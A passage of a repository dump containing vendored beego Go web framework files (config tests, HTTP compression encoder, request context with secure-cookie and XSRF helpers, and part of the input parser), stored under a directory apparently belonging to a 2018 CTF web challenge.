&config.JSONConfig{}\n\tac, _ := jcf.ParseData([]byte(`{\"AppName\":\"beego_json\"}`))\n\tassignSingleConfig(_BConfig, ac)\n\tif _BConfig.AppName != \"beego_json\" {\n\t\tt.Log(_BConfig)\n\t\tt.FailNow()\n\t}\n}\n\nfunc TestAssignConfig_02(t *testing.T) {\n\t_BConfig := &Config{}\n\tbs, _ := json.Marshal(newBConfig())\n\n\tjsonMap := map[string]interface{}{}\n\tjson.Unmarshal(bs, &jsonMap)\n\n\tconfigMap := map[string]interface{}{}\n\tfor k, v := range jsonMap {\n\t\tif reflect.TypeOf(v).Kind() == reflect.Map {\n\t\t\tfor k1, v1 := range v.(map[string]interface{}) {\n\t\t\t\tif reflect.TypeOf(v1).Kind() == reflect.Map {\n\t\t\t\t\tfor k2, v2 := range v1.(map[string]interface{}) {\n\t\t\t\t\t\tconfigMap[k2] = v2\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tconfigMap[k1] = v1\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tconfigMap[k] = v\n\t\t}\n\t}\n\tconfigMap[\"MaxMemory\"] = 1024\n\tconfigMap[\"Graceful\"] = true\n\tconfigMap[\"XSRFExpire\"] = 32\n\tconfigMap[\"SessionProviderConfig\"] = \"file\"\n\tconfigMap[\"FileLineNum\"] = true\n\n\tjcf := &config.JSONConfig{}\n\tbs, _ = json.Marshal(configMap)\n\tac, _ := jcf.ParseData([]byte(bs))\n\n\tfor _, i := range []interface{}{_BConfig, &_BConfig.Listen, &_BConfig.WebConfig, &_BConfig.Log, &_BConfig.WebConfig.Session} {\n\t\tassignSingleConfig(i, ac)\n\t}\n\n\tif _BConfig.MaxMemory != 1024 {\n\t\tt.Log(_BConfig.MaxMemory)\n\t\tt.FailNow()\n\t}\n\n\tif !_BConfig.Listen.Graceful {\n\t\tt.Log(_BConfig.Listen.Graceful)\n\t\tt.FailNow()\n\t}\n\n\tif _BConfig.WebConfig.XSRFExpire != 32 {\n\t\tt.Log(_BConfig.WebConfig.XSRFExpire)\n\t\tt.FailNow()\n\t}\n\n\tif _BConfig.WebConfig.Session.SessionProviderConfig != \"file\" {\n\t\tt.Log(_BConfig.WebConfig.Session.SessionProviderConfig)\n\t\tt.FailNow()\n\t}\n\n\tif !_BConfig.Log.FileLineNum {\n\t\tt.Log(_BConfig.Log.FileLineNum)\n\t\tt.FailNow()\n\t}\n\n}\n\nfunc TestAssignConfig_03(t *testing.T) {\n\tjcf := &config.JSONConfig{}\n\tac, _ := jcf.ParseData([]byte(`{\"AppName\":\"beego\"}`))\n\tac.Set(\"AppName\", \"test_app\")\n\tac.Set(\"RunMode\", \"online\")\n\tac.Set(\"StaticDir\", \"download:down download2:down2\")\n\tac.Set(\"StaticExtensionsToGzip\", \".css,.js,.html,.jpg,.png\")\n\tassignConfig(ac)\n\n\tt.Logf(\"%#v\", BConfig)\n\n\tif BConfig.AppName != \"test_app\" {\n\t\tt.FailNow()\n\t}\n\n\tif BConfig.RunMode != \"online\" {\n\t\tt.FailNow()\n\t}\n\tif BConfig.WebConfig.StaticDir[\"/download\"] != \"down\" {\n\t\tt.FailNow()\n\t}\n\tif BConfig.WebConfig.StaticDir[\"/download2\"] != \"down2\" {\n\t\tt.FailNow()\n\t}\n\tif len(BConfig.WebConfig.StaticExtensionsToGzip) != 5 {\n\t\tt.FailNow()\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/acceptencoder.go",
    "content": "// Copyright 2015 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage context\n\nimport (\n\t\"bytes\"\n\t\"compress/flate\"\n\t\"compress/gzip\"\n\t\"compress/zlib\"\n\t\"io\"\n\t\"net/http\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n)\n\nvar (\n\t//Default size==20B same as nginx\n\tdefaultGzipMinLength = 20\n\t//Content will only be compressed if content length is either unknown or greater than gzipMinLength.\n\tgzipMinLength = defaultGzipMinLength\n\t//The compression level used for deflate compression. (0-9).\n\tgzipCompressLevel int\n\t//List of HTTP methods to compress. If not set, only GET requests are compressed.\n\tincludedMethods map[string]bool\n\tgetMethodOnly   bool\n)\n\n// InitGzip init the gzipcompress\nfunc InitGzip(minLength, compressLevel int, methods []string) {\n\tif minLength >= 0 {\n\t\tgzipMinLength = minLength\n\t}\n\tgzipCompressLevel = compressLevel\n\tif gzipCompressLevel < flate.NoCompression || gzipCompressLevel > flate.BestCompression {\n\t\tgzipCompressLevel = flate.BestSpeed\n\t}\n\tgetMethodOnly = (len(methods) == 0) || (len(methods) == 1 && strings.ToUpper(methods[0]) == \"GET\")\n\tincludedMethods = make(map[string]bool, len(methods))\n\tfor _, v := range methods {\n\t\tincludedMethods[strings.ToUpper(v)] = true\n\t}\n}\n\ntype resetWriter interface {\n\tio.Writer\n\tReset(w io.Writer)\n}\n\ntype nopResetWriter struct {\n\tio.Writer\n}\n\nfunc (n nopResetWriter) Reset(w io.Writer) {\n\t//do nothing\n}\n\ntype acceptEncoder struct {\n\tname                    string\n\tlevelEncode             func(int) resetWriter\n\tcustomCompressLevelPool *sync.Pool\n\tbestCompressionPool     *sync.Pool\n}\n\nfunc (ac acceptEncoder) encode(wr io.Writer, level int) resetWriter {\n\tif ac.customCompressLevelPool == nil || ac.bestCompressionPool == nil {\n\t\treturn nopResetWriter{wr}\n\t}\n\tvar rwr resetWriter\n\tswitch level {\n\tcase flate.BestSpeed:\n\t\trwr = ac.customCompressLevelPool.Get().(resetWriter)\n\tcase flate.BestCompression:\n\t\trwr = ac.bestCompressionPool.Get().(resetWriter)\n\tdefault:\n\t\trwr = ac.levelEncode(level)\n\t}\n\trwr.Reset(wr)\n\treturn rwr\n}\n\nfunc (ac acceptEncoder) put(wr resetWriter, level int) {\n\tif ac.customCompressLevelPool == nil || ac.bestCompressionPool == nil {\n\t\treturn\n\t}\n\twr.Reset(nil)\n\n\t//notice\n\t//compressionLevel==BestCompression DOES NOT MATTER\n\t//sync.Pool will not memory leak\n\n\tswitch level {\n\tcase gzipCompressLevel:\n\t\tac.customCompressLevelPool.Put(wr)\n\tcase flate.BestCompression:\n\t\tac.bestCompressionPool.Put(wr)\n\t}\n}\n\nvar (\n\tnoneCompressEncoder = acceptEncoder{\"\", nil, nil, nil}\n\tgzipCompressEncoder = acceptEncoder{\n\t\tname:                    \"gzip\",\n\t\tlevelEncode:             func(level int) resetWriter { wr, _ := gzip.NewWriterLevel(nil, level); return wr },\n\t\tcustomCompressLevelPool: &sync.Pool{New: func() interface{} { wr, _ := gzip.NewWriterLevel(nil, gzipCompressLevel); return wr }},\n\t\tbestCompressionPool:     &sync.Pool{New: func() interface{} { wr, _ := gzip.NewWriterLevel(nil, flate.BestCompression); return wr }},\n\t}\n\n\t//according to the sec :http://tools.ietf.org/html/rfc2616#section-3.5 ,the deflate compress in http is zlib indeed\n\t//deflate\n\t//The \"zlib\" format defined in RFC 1950 [31] in combination with\n\t//the \"deflate\" compression mechanism described in RFC 1951 [29].\n\tdeflateCompressEncoder = acceptEncoder{\n\t\tname:                    \"deflate\",\n\t\tlevelEncode:             func(level int) resetWriter { wr, _ := zlib.NewWriterLevel(nil, level); return wr },\n\t\tcustomCompressLevelPool: &sync.Pool{New: func() interface{} { wr, _ := zlib.NewWriterLevel(nil, gzipCompressLevel); return wr }},\n\t\tbestCompressionPool:     &sync.Pool{New: func() interface{} { wr, _ := zlib.NewWriterLevel(nil, flate.BestCompression); return wr }},\n\t}\n)\n\nvar (\n\tencoderMap = map[string]acceptEncoder{ // all the other compress methods will ignore\n\t\t\"gzip\":     gzipCompressEncoder,\n\t\t\"deflate\":  deflateCompressEncoder,\n\t\t\"*\":        gzipCompressEncoder, // * means any compress will accept,we prefer gzip\n\t\t\"identity\": noneCompressEncoder, // identity means none-compress\n\t}\n)\n\n// WriteFile reads from file and writes to writer by the specific encoding(gzip/deflate)\nfunc WriteFile(encoding string, writer io.Writer, file *os.File) (bool, string, error) {\n\treturn writeLevel(encoding, writer, file, flate.BestCompression)\n}\n\n// WriteBody reads  writes content to writer by the specific encoding(gzip/deflate)\nfunc WriteBody(encoding string, writer io.Writer, content []byte) (bool, string, error) {\n\tif encoding == \"\" || len(content) < gzipMinLength {\n\t\t_, err := writer.Write(content)\n\t\treturn false, \"\", err\n\t}\n\treturn writeLevel(encoding, writer, bytes.NewReader(content), gzipCompressLevel)\n}\n\n// writeLevel reads from reader,writes to writer by specific encoding and compress level\n// the compress level is defined by deflate package\nfunc writeLevel(encoding string, writer io.Writer, reader io.Reader, level int) (bool, string, error) {\n\tvar outputWriter resetWriter\n\tvar err error\n\tvar ce = noneCompressEncoder\n\n\tif cf, ok := encoderMap[encoding]; ok {\n\t\tce = cf\n\t}\n\tencoding = ce.name\n\toutputWriter = ce.encode(writer, level)\n\tdefer ce.put(outputWriter, level)\n\n\t_, err = io.Copy(outputWriter, reader)\n\tif err != nil {\n\t\treturn false, \"\", err\n\t}\n\n\tswitch outputWriter.(type) {\n\tcase io.WriteCloser:\n\t\toutputWriter.(io.WriteCloser).Close()\n\t}\n\treturn encoding != \"\", encoding, nil\n}\n\n// ParseEncoding will extract the right encoding for response\n// the Accept-Encoding's sec is here:\n// http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.3\nfunc ParseEncoding(r *http.Request) string {\n\tif r == nil {\n\t\treturn \"\"\n\t}\n\tif (getMethodOnly && r.Method == \"GET\") || includedMethods[r.Method] {\n\t\treturn parseEncoding(r)\n\t}\n\treturn \"\"\n}\n\ntype q struct {\n\tname  string\n\tvalue float64\n}\n\nfunc parseEncoding(r *http.Request) string {\n\tacceptEncoding := r.Header.Get(\"Accept-Encoding\")\n\tif acceptEncoding == \"\" {\n\t\treturn \"\"\n\t}\n\tvar lastQ q\n\tfor _, v := range strings.Split(acceptEncoding, \",\") {\n\t\tv = strings.TrimSpace(v)\n\t\tif v == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tvs := strings.Split(v, \";\")\n\t\tvar cf acceptEncoder\n\t\tvar ok bool\n\t\tif cf, ok = encoderMap[vs[0]]; !ok {\n\t\t\tcontinue\n\t\t}\n\t\tif len(vs) == 1 {\n\t\t\treturn cf.name\n\t\t}\n\t\tif len(vs) == 2 {\n\t\t\tf, _ := strconv.ParseFloat(strings.Replace(vs[1], \"q=\", \"\", -1), 64)\n\t\t\tif f == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif f > lastQ.value {\n\t\t\t\tlastQ = q{cf.name, f}\n\t\t\t}\n\t\t}\n\t}\n\treturn lastQ.name\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/acceptencoder_test.go",
    "content": "// Copyright 2015 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage context\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n)\n\nfunc Test_ExtractEncoding(t *testing.T) {\n\tif parseEncoding(&http.Request{Header: map[string][]string{\"Accept-Encoding\": {\"gzip,deflate\"}}}) != \"gzip\" {\n\t\tt.Fail()\n\t}\n\tif parseEncoding(&http.Request{Header: map[string][]string{\"Accept-Encoding\": {\"deflate,gzip\"}}}) != \"deflate\" {\n\t\tt.Fail()\n\t}\n\tif parseEncoding(&http.Request{Header: map[string][]string{\"Accept-Encoding\": {\"gzip;q=.5,deflate\"}}}) != \"deflate\" {\n\t\tt.Fail()\n\t}\n\tif parseEncoding(&http.Request{Header: map[string][]string{\"Accept-Encoding\": {\"gzip;q=.5,deflate;q=0.3\"}}}) != \"gzip\" {\n\t\tt.Fail()\n\t}\n\tif parseEncoding(&http.Request{Header: map[string][]string{\"Accept-Encoding\": {\"gzip;q=0,deflate\"}}}) != \"deflate\" {\n\t\tt.Fail()\n\t}\n\tif parseEncoding(&http.Request{Header: map[string][]string{\"Accept-Encoding\": {\"deflate;q=0.5,gzip;q=0.5,identity\"}}}) != \"\" {\n\t\tt.Fail()\n\t}\n\tif parseEncoding(&http.Request{Header: map[string][]string{\"Accept-Encoding\": {\"*\"}}}) != \"gzip\" {\n\t\tt.Fail()\n\t}\n\tif parseEncoding(&http.Request{Header: map[string][]string{\"Accept-Encoding\": {\"x,gzip,deflate\"}}}) != \"gzip\" {\n\t\tt.Fail()\n\t}\n\tif parseEncoding(&http.Request{Header: map[string][]string{\"Accept-Encoding\": {\"gzip,x,deflate\"}}}) != \"gzip\" {\n\t\tt.Fail()\n\t}\n\tif parseEncoding(&http.Request{Header: map[string][]string{\"Accept-Encoding\": {\"gzip;q=0.5,x,deflate\"}}}) != \"deflate\" {\n\t\tt.Fail()\n\t}\n\tif parseEncoding(&http.Request{Header: map[string][]string{\"Accept-Encoding\": {\"x\"}}}) != \"\" {\n\t\tt.Fail()\n\t}\n\tif parseEncoding(&http.Request{Header: map[string][]string{\"Accept-Encoding\": {\"gzip;q=0.5,x;q=0.8\"}}}) != \"gzip\" {\n\t\tt.Fail()\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/context.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package context provide the context utils\n// Usage:\n//\n//\timport \"github.com/astaxie/beego/context\"\n//\n//\tctx := context.Context{Request:req,ResponseWriter:rw}\n//\n//  more docs http://beego.me/docs/module/context.md\npackage context\n\nimport (\n\t\"bufio\"\n\t\"crypto/hmac\"\n\t\"crypto/sha1\"\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego/utils\"\n)\n\n// NewContext return the Context with Input and Output\nfunc NewContext() *Context {\n\treturn &Context{\n\t\tInput:  NewInput(),\n\t\tOutput: NewOutput(),\n\t}\n}\n\n// Context Http request context struct including BeegoInput, BeegoOutput, http.Request and http.ResponseWriter.\n// BeegoInput and BeegoOutput provides some api to operate request and response more easily.\ntype Context struct {\n\tInput          *BeegoInput\n\tOutput         *BeegoOutput\n\tRequest        *http.Request\n\tResponseWriter *Response\n\t_xsrfToken     string\n}\n\n// Reset init Context, BeegoInput and BeegoOutput\nfunc (ctx *Context) Reset(rw http.ResponseWriter, r *http.Request) {\n\tctx.Request = r\n\tif ctx.ResponseWriter == nil {\n\t\tctx.ResponseWriter = &Response{}\n\t}\n\tctx.ResponseWriter.reset(rw)\n\tctx.Input.Reset(ctx)\n\tctx.Output.Reset(ctx)\n\tctx._xsrfToken = \"\"\n}\n\n// Redirect does redirection to localurl with http header status code.\nfunc (ctx *Context) Redirect(status int, localurl string) {\n\thttp.Redirect(ctx.ResponseWriter, ctx.Request, localurl, status)\n}\n\n// Abort stops this request.\n// if beego.ErrorMaps exists, panic body.\nfunc (ctx *Context) Abort(status int, body string) {\n\tctx.Output.SetStatus(status)\n\tpanic(body)\n}\n\n// WriteString Write string to response body.\n// it sends response body.\nfunc (ctx *Context) WriteString(content string) {\n\tctx.ResponseWriter.Write([]byte(content))\n}\n\n// GetCookie Get cookie from request by a given key.\n// It's alias of BeegoInput.Cookie.\nfunc (ctx *Context) GetCookie(key string) string {\n\treturn ctx.Input.Cookie(key)\n}\n\n// SetCookie Set cookie for response.\n// It's alias of BeegoOutput.Cookie.\nfunc (ctx *Context) SetCookie(name string, value string, others ...interface{}) {\n\tctx.Output.Cookie(name, value, others...)\n}\n\n// GetSecureCookie Get secure cookie from request by a given key.\nfunc (ctx *Context) GetSecureCookie(Secret, key string) (string, bool) {\n\tval := ctx.Input.Cookie(key)\n\tif val == \"\" {\n\t\treturn \"\", false\n\t}\n\n\tparts := strings.SplitN(val, \"|\", 3)\n\n\tif len(parts) != 3 {\n\t\treturn \"\", false\n\t}\n\n\tvs := parts[0]\n\ttimestamp := parts[1]\n\tsig := parts[2]\n\n\th := hmac.New(sha1.New, []byte(Secret))\n\tfmt.Fprintf(h, \"%s%s\", vs, timestamp)\n\n\tif fmt.Sprintf(\"%02x\", h.Sum(nil)) != sig {\n\t\treturn \"\", false\n\t}\n\tres, _ := base64.URLEncoding.DecodeString(vs)\n\treturn string(res), true\n}\n\n// SetSecureCookie Set Secure cookie for response.\nfunc (ctx *Context) SetSecureCookie(Secret, name, value string, others ...interface{}) {\n\tvs := base64.URLEncoding.EncodeToString([]byte(value))\n\ttimestamp := strconv.FormatInt(time.Now().UnixNano(), 10)\n\th := hmac.New(sha1.New, []byte(Secret))\n\tfmt.Fprintf(h, \"%s%s\", vs, timestamp)\n\tsig := fmt.Sprintf(\"%02x\", h.Sum(nil))\n\tcookie := strings.Join([]string{vs, timestamp, sig}, \"|\")\n\tctx.Output.Cookie(name, cookie, others...)\n}\n\n// XSRFToken creates a xsrf token string and returns.\nfunc (ctx *Context) XSRFToken(key string, expire int64) string {\n\tif ctx._xsrfToken == \"\" {\n\t\ttoken, ok := ctx.GetSecureCookie(key, \"_xsrf\")\n\t\tif !ok {\n\t\t\ttoken = string(utils.RandomCreateBytes(32))\n\t\t\tctx.SetSecureCookie(key, \"_xsrf\", token, expire)\n\t\t}\n\t\tctx._xsrfToken = token\n\t}\n\treturn ctx._xsrfToken\n}\n\n// CheckXSRFCookie checks xsrf token in this request is valid or not.\n// the token can provided in request header \"X-Xsrftoken\" and \"X-CsrfToken\"\n// or in form field value named as \"_xsrf\".\nfunc (ctx *Context) CheckXSRFCookie() bool {\n\ttoken := ctx.Input.Query(\"_xsrf\")\n\tif token == \"\" {\n\t\ttoken = ctx.Request.Header.Get(\"X-Xsrftoken\")\n\t}\n\tif token == \"\" {\n\t\ttoken = ctx.Request.Header.Get(\"X-Csrftoken\")\n\t}\n\tif token == \"\" {\n\t\tctx.Abort(403, \"'_xsrf' argument missing from POST\")\n\t\treturn false\n\t}\n\tif ctx._xsrfToken != token {\n\t\tctx.Abort(403, \"XSRF cookie does not match POST argument\")\n\t\treturn false\n\t}\n\treturn true\n}\n\n// RenderMethodResult renders the return value of a controller method to the output\nfunc (ctx *Context) RenderMethodResult(result interface{}) {\n\tif result != nil {\n\t\trenderer, ok := result.(Renderer)\n\t\tif !ok {\n\t\t\terr, ok := result.(error)\n\t\t\tif ok {\n\t\t\t\trenderer = errorRenderer(err)\n\t\t\t} else {\n\t\t\t\trenderer = jsonRenderer(result)\n\t\t\t}\n\t\t}\n\t\trenderer.Render(ctx)\n\t}\n}\n\n//Response is a wrapper for the http.ResponseWriter\n//started set to true if response was written to then don't execute other handler\ntype Response struct {\n\thttp.ResponseWriter\n\tStarted bool\n\tStatus  int\n}\n\nfunc (r *Response) reset(rw http.ResponseWriter) {\n\tr.ResponseWriter = rw\n\tr.Status = 0\n\tr.Started = false\n}\n\n// Write writes the data to the connection as part of an HTTP reply,\n// and sets `started` to true.\n// started means the response has sent out.\nfunc (r *Response) Write(p []byte) (int, error) {\n\tr.Started = true\n\treturn r.ResponseWriter.Write(p)\n}\n\n// WriteHeader sends an HTTP response header with status code,\n// and sets `started` to true.\nfunc (r *Response) WriteHeader(code int) {\n\tif r.Status > 0 {\n\t\t//prevent multiple response.WriteHeader calls\n\t\treturn\n\t}\n\tr.Status = code\n\tr.Started = true\n\tr.ResponseWriter.WriteHeader(code)\n}\n\n// Hijack hijacker for http\nfunc (r *Response) Hijack() (net.Conn, *bufio.ReadWriter, error) {\n\thj, ok := r.ResponseWriter.(http.Hijacker)\n\tif !ok {\n\t\treturn nil, nil, errors.New(\"webserver doesn't support hijacking\")\n\t}\n\treturn hj.Hijack()\n}\n\n// Flush http.Flusher\nfunc (r *Response) Flush() {\n\tif f, ok := r.ResponseWriter.(http.Flusher); ok {\n\t\tf.Flush()\n\t}\n}\n\n// CloseNotify http.CloseNotifier\nfunc (r *Response) CloseNotify() <-chan bool {\n\tif cn, ok := r.ResponseWriter.(http.CloseNotifier); ok {\n\t\treturn cn.CloseNotify()\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/context_test.go",
    "content": "// Copyright 2016 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage context\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n)\n\nfunc TestXsrfReset_01(t *testing.T) {\n\tr := &http.Request{}\n\tc := NewContext()\n\tc.Request = r\n\tc.ResponseWriter = &Response{}\n\tc.ResponseWriter.reset(httptest.NewRecorder())\n\tc.Output.Reset(c)\n\tc.Input.Reset(c)\n\tc.XSRFToken(\"key\", 16)\n\tif c._xsrfToken == \"\" {\n\t\tt.FailNow()\n\t}\n\ttoken := c._xsrfToken\n\tc.Reset(&Response{ResponseWriter: httptest.NewRecorder()}, r)\n\tif c._xsrfToken != \"\" {\n\t\tt.FailNow()\n\t}\n\tc.XSRFToken(\"key\", 16)\n\tif c._xsrfToken == \"\" {\n\t\tt.FailNow()\n\t}\n\tif token == c._xsrfToken {\n\t\tt.FailNow()\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/input.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage context\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"errors\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"reflect\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/astaxie/beego/session\"\n)\n\n// Regexes for checking the accept headers\n// TODO make sure these are correct\nvar (\n\tacceptsHTMLRegex = regexp.MustCompile(`(text/html|application/xhtml\\+xml)(?:,|$)`)\n\tacceptsXMLRegex  = regexp.MustCompile(`(application/xml|text/xml)(?:,|$)`)\n\tacceptsJSONRegex = regexp.MustCompile(`(application/json)(?:,|$)`)\n\tmaxParam         = 50\n)\n\n// BeegoInput operates the http request header, data, cookie and body.\n// it also contains router params and current session.\ntype BeegoInput struct {\n\tContext       *Context\n\tCruSession    session.Store\n\tpnames        []string\n\tpvalues       []string\n\tdata          map[interface{}]interface{} // store some values in this context when calling context in filter or controller.\n\tRequestBody   []byte\n\tRunMethod     string\n\tRunController reflect.Type\n}\n\n// NewInput return BeegoInput generated by Context.\nfunc NewInput() *BeegoInput {\n\treturn &BeegoInput{\n\t\tpnames:  make([]string, 0, maxParam),\n\t\tpvalues: make([]string, 0, maxParam),\n\t\tdata:    make(map[interface{}]interface{}),\n\t}\n}\n\n// Reset init the BeegoInput\nfunc (input *BeegoInput) Reset(ctx *Context) {\n\tinput.Context = ctx\n\tinput.CruSession = nil\n\tinput.pnames = input.pnames[:0]\n\tinput.pvalues = input.pvalues[:0]\n\tinput.data = nil\n\tinput.RequestBody = []byte{}\n}\n\n// Protocol returns request protocol name, such as HTTP/1.1 .\nfunc (input *BeegoInput) Protocol() string {\n\treturn input.Context.Request.Proto\n}\n\n// URI returns full request url with query string, fragment.\nfunc (input *BeegoInput) URI() string {\n\treturn input.Context.Request.RequestURI\n}\n\n// URL returns request url path (without query string, fragment).\nfunc (input *BeegoInput) URL() string {\n\treturn input.Context.Request.URL.Path\n}\n\n// Site returns base site url as scheme://domain type.\nfunc (input *BeegoInput) Site() string {\n\treturn input.Scheme() + \"://\" + input.Domain()\n}\n\n// Scheme returns request scheme as \"http\" or \"https\".\nfunc (input *BeegoInput) Scheme() string {\n\tif scheme := input.Header(\"X-Forwarded-Proto\"); scheme != \"\" {\n\t\treturn scheme\n\t}\n\tif input.Context.Request.URL.Scheme != \"\" {\n\t\treturn input.Context.Request.URL.Scheme\n\t}\n\tif input.Context.Request.TLS == nil {\n\t\treturn \"http\"\n\t}\n\treturn \"https\"\n}\n\n// Domain returns host name.\n// Alias of Host method.\nfunc (input *BeegoInput) Domain() string {\n\treturn input.Host()\n}\n\n// Host returns host name.\n// if no host info in request, return localhost.\nfunc (input *BeegoInput) Host() string {\n\tif input.Context.Request.Host != \"\" {\n\t\tif hostPart, _, err := net.SplitHostPort(input.Context.Request.Host); err == nil {\n\t\t\treturn hostPart\n\t\t}\n\t\treturn input.Context.Request.Host\n\t}\n\treturn \"localhost\"\n}\n\n// Method returns http request method.\nfunc (input *BeegoInput) Method() string {\n\treturn input.Context.Request.Method\n}\n\n// Is returns boolean of this request is on given method, such as Is(\"POST\").\nfunc (input *BeegoInput) Is(method string) bool {\n\treturn input.Method() == method\n}\n\n// IsGet Is this a GET method request?\nfunc (input *BeegoInput) IsGet() bool {\n\treturn input.Is(\"GET\")\n}\n\n// IsPost Is this a POST method request?\nfunc (input *BeegoInput) IsPost() bool {\n\treturn input.Is(\"POST\")\n}\n\n// IsHead Is this a Head method request?\nfunc (input *BeegoInput) IsHead() bool {\n\treturn input.Is(\"HEAD\")\n}\n\n// IsOptions Is this a OPTIONS method request?\nfunc (input *BeegoInput) IsOptions() bool {\n\treturn input.Is(\"OPTIONS\")\n}\n\n// IsPut Is this a PUT method request?\nfunc (input *BeegoInput) IsPut() bool {\n\treturn input.Is(\"PUT\")\n}\n\n// IsDelete Is this a DELETE method request?\nfunc (input *BeegoInput) IsDelete() bool {\n\treturn input.Is(\"DELETE\")\n}\n\n// IsPatch Is this a PATCH method request?\nfunc (input *BeegoInput) IsPatch() bool {\n\treturn input.Is(\"PATCH\")\n}\n\n// IsAjax returns boolean of this request is generated by ajax.\nfunc (input *BeegoInput) IsAjax() bool {\n\treturn input.Header(\"X-Requested-With\") == \"XMLHttpRequest\"\n}\n\n// IsSecure returns boolean of this request is in https.\nfunc (input *BeegoInput) IsSecure() bool {\n\treturn input.Scheme() == \"https\"\n}\n\n// IsWebsocket returns boolean of this request is in webSocket.\nfunc (input *BeegoInput) IsWebsocket() bool {\n\treturn input.Header(\"Upgrade\") == \"websocket\"\n}\n\n// IsUpload returns boolean of whether file uploads in this request or not..\nfunc (input *BeegoInput) IsUpload() bool {\n\treturn strings.Contains(input.Header(\"Content-Type\"), \"multipart/form-data\")\n}\n\n// AcceptsHTML Checks if request accepts html response\nfunc (input *BeegoInput) AcceptsHTML() bool {\n\treturn acceptsHTMLRegex.MatchString(input.Header(\"Accept\"))\n}\n\n// AcceptsXML Checks if request accepts xml response\nfunc (input *BeegoInput) AcceptsXML() bool {\n\treturn acceptsXMLRegex.MatchString(input.Header(\"Accept\"))\n}\n\n// AcceptsJSON Checks if request accepts json response\nfunc (input *BeegoInput) AcceptsJSON() bool {\n\treturn acceptsJSONRegex.MatchString(input.Header(\"Accept\"))\n}\n\n// IP returns request client ip.\n// if in proxy, return first proxy id.\n// if error, return RemoteAddr.\nfunc (input *BeegoInput) IP() string {\n\tips := input.Proxy()\n\tif len(ips) > 0 && ips[0] != \"\" {\n\t\trip, _, err := net.SplitHostPort(ips[0])\n\t\tif err != nil {\n\t\t\trip = ips[0]\n\t\t}\n\t\treturn rip\n\t}\n\tif ip, _, err := net.SplitHostPort(input.Context.Request.RemoteAddr); err == nil {\n\t\treturn ip\n\t}\n\treturn input.Context.Request.RemoteAddr\n}\n\n// Proxy returns proxy client ips slice.\nfunc (input *BeegoInput) Proxy() []string {\n\tif ips := input.Header(\"X-Forwarded-For\"); ips != \"\" {\n\t\treturn strings.Split(ips, \",\")\n\t}\n\treturn []string{}\n}\n\n// Referer returns http referer header.\nfunc (input *BeegoInput) Referer() string {\n\treturn input.Header(\"Referer\")\n}\n\n// Refer returns http referer header.\nfunc (input *BeegoInput) Refer() string {\n\treturn input.Referer()\n}\n\n// SubDomains returns sub domain string.\n// if aa.bb.domain.com, returns aa.bb .\nfunc (input *BeegoInput) SubDomains() string {\n\tparts := strings.Split(input.Host(), \".\")\n\tif len(parts) >= 3 {\n\t\treturn 